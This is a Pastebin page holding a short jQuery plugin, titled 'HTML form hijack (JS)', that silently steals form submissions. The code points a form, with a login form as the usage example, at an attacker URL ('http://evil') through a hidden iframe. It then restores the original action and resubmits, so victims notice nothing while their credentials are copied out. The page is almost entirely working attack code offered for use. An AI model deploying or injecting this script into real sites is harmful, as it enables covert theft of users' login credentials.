Advertisement
BaSs_HaXoR

HTML form hijack (JS)

Nov 24th, 2016
583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* ------------------------------------------------------------------------------- */
  2. //                 Github: https://git.io/vaLWE | jquery.xssform.js                //
  3. //          Source: https://gist.github.com/jackmasa/73ee77fb7058fbf63c0a          //
  4. /* ------------------------------------------------------------------------------- */
  5. //                                                                                 //
  6. //                    USAGE: $('.login').xform('http://evil')                      //
  7. //                                                                                 //
  8. /* ------------------------------------------------------------------------------- */
  9.  
  10. jQuery.fn.extend({'xform':function(action){
  11.   form = this[0];
  12.   form.old_action=form.action,form.old_target=form.target,form.action=action;
  13.   var iframe = jQuery('<iframe name=_'+(~~(Math.random()*1e5)+'_ style=display:none>'))[0];
  14.   ($('body')[0]||$('html')[0]).appendChild(iframe);
  15.   form.target=iframe.name;
  16.   setTimeout(function(){
  17.     $(iframe).bind('load',function(){
  18.       form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();
  19.     });
  20.   },30);
  21. }});
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement